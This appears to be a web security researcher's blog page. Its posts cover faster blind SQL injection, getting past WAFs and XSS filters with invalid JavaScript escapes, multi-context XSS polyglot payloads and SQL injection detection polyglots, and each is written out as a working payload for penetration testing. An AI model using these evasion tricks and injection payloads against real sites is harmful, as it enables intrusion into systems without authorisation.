High Speed Methods For Blind SQL Injections

I came to the conclusion that the blind SQL injection techniques we use for data exfiltration are slow, and there is huge room for improvement to make them much faster and efficient.

I spent some time designing new high-speed optimized blind SQL injections and I wrote a paper where I documented all of these techniques. The research got accepted to be presented at various security conferences such as Hackfest Quebec, B-Sides Philly, BugCON Mexico, DragonJAR Colombia and Hack in Paris (which I missed because I was severely jet-lagged and I feel very ashamed to say so).

duality.py, one of these optimized attacks, uses inferential algorithms that request only certain fragments of the information and deduce the missing data through the use of decision-making trees. This method takes an average of 30% less requests than the famous tool sqlmap to exfiltrate information from a database. This and more blind SQL injection techniques are explained in this paper.

You can find the paper in .txt format here:
https://nzt-48.org/Papers/high-speed-methods-for-blind-sql-injections.txt

For a self-explanatory and condensed version of the paper, you can find the slides of the talk here (the slides are numerous but most of them are just the same slide with different highlighted values):
https://nzt-48.org/slides/high-speed-methods-for-blind-sql-injections.pdf

These are some screenshots of the slides to make the post look cool:

XSS filter/WAF evasion through invalid escapes

(2 minute read)

Most of the time, WAFs and XSS filters look for specific keywords to detect invocation of dangerous functions or variables.

/page?parameter=alert()
403 FORBIDDEN

A very common bypass technique is to break these specific character sequences like this:

window.alert() can also be written using square-bracket notation: window['alert']()

This is very useful because now the alert method is a string, this means that it can be obfuscated using all kinds of string functions:

window['ale' + 'rt'](1)
window['alexrt'.replace(/x/,'')](1)

Several years ago I found a nice feature in javascript that allows the attacker to break character sequences in a very easy, quick and shorter way. This is done by escaping characters that do not have an escape sequence assigned. For instance, these are valid escapes in javascript:

\' Simple quote
\" Double doble
\ Backslash
\n New line
\r Carriage return
\v Vertical tab
\t Tab
\b Backspace
\f Page forward

Those characters will be escaped to their corresponding values if you add a backslash before them.

If you use a backslash before any other character javascript will simply ignore the backslashes, so the string will be broken while still preserving its meaning:

window['\a\l\ert'](1)
window['\pr\o\m\pt'](1)

Hopefully this will help to speed-up the process of evading WAFs.

Using XSS Polyglots For Detecting Blind XSS Vulnerabilities

( < 5 minute read)

Awesome security researcher @filedescriptor (a member of Cure53 who never uses his real name to remain anonymous) ran a XSS challenge in which competitors had to craft a XSS polyglot that works across 16 different contests:

  1. <div>{{payload}}</div>
  2. <div {{payload}}>text</div>
  3. <div class="{{payload}}">text</div>
  4. <div class='{{payload}}'>text</div>
  5. <div class={{payload}}>text</div>
  6. <title>{{payload}}</title>
  7. <textarea>{{payload}}</textarea>
  8. <style>{{payload}}</style>
  9. <script>"{{payload}}"</script>
  10. <script>{{payload}}</script>
  11. <script>"{{payload}}"</script>
  12. <script>'{{payload}}'</script>
  13. <a href="{{payload}}">text</a>
  14. <!-- {{payload}} -->
  15. <script>// {{payload}}</script>
  16. <script>/* \n{{payload}}} \n*/</script>

Among the winners of this challenge I recognized some names such as @orenhafif Facebook Security Engineer who won 1st place, and in 2nd there is @molnar_g Google Security Engineer. It was actually a tie, they both crafted a payload 87 characters long.

I did send a submission but I didn't figure among the top contestants. 6 years later I spent a day trying to see if I could shorten my vector and to my big surprise I managed to make a vector 3 bytes shorter than the winning vectors!

javascript:/*</title></textarea></style --> </script><a/onclick='//"/**/%0aalert()//'>

These polyglots are particularly useful for detecting blind XSS vulnerabilities.

I decided to improve it so that it works in every possible context:

<script>xss</script>
<script>a='
xss'</script>
<script>a="
xss"</script>
<script>a="
xss"</script>
<script>//
xss</script>
<script>/*
xss*/</script>
<a href='
xss'></a>
<title>
xss</title>
<textarea>
xss</textarea>
<style>xss</style>
<div>
xss</div>
<div
xss></div>
<div class='
xss'></div>
<div class="
xss"></div>
<div class=
xss></div>
<noscript>
xss</noscript>
<noembed>
xss</noembed>
<!--
xss -->
<xmp>
xss</xmp>
<math>xss</math>
<frameset>
xss</frameset>

The resulting vector is:

javascript:/*</title></textarea></style --></xmp></script></noembed></noscript></math><svg/onload='//"/**/%0aonmouseover=alert()//'>

You can also add a ${{7*7}} at the very end to test against template injections as well.

Besides for Blind XSS, this vector is also good for optimizing the process of finding regular cross-site scripting vulnerabilities. Instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in approximately only 5% of the time.

Can you make it even shorter? Let me know in the comments or through X (@ruben_v_pina)

SQL Injection Detection Optimization

(3 minute read)

For Black Hat 2013, Roberto Salgado (@LightOS) came up with the idea of optimizing the detection phase of SQL injection vulnerabilities.

Usually, to test if a parameter is vulnerable to SQL injection, the following requests must be performed to find out the context of the injection. It might be between single quotes ('), double quotes (") or with no delimiters at all:

TRUE RESPONSES
-1' or '1'='1
-1" or "1"="1
-1 or 1=0

FALSE RESPONSES
-1' or '1'='0
-1" or "1"="0
-1 or 1=0

LightOS came up with the idea of fusing the three testing vectors. This is the multi-context functional polyglot that works in any of the already three mentioned contexts:

-1 OR 1#"or"'OR''='"="'OR''='

Numeric context:
-1 OR 1#"or"'OR''='"="'OR''='

Double quotation:
-1 OR 1#"or"'OR''='"="'OR''='

Single quotation:
-1 OR 1#"or"'OR''='"="'OR''='

You can find his slides in the following link: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

Mirror: https://nzt-48.org/archive/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

My version of the vector is 7 characters shorter:

-1 or 1#'or"or'"!='!="

Numeric context:
-1 or 1#'or"or'"!='!="

Single quotation:
-1 or 1#'or"or'"!='!="

Double quotation:
-1 or 1#'or"or'"!='!="

I find LightOS's solution to be much more elegant because he used an equality. Can make it even shorter?

 
You can follow me on X to stay updated: @ruben_v_pina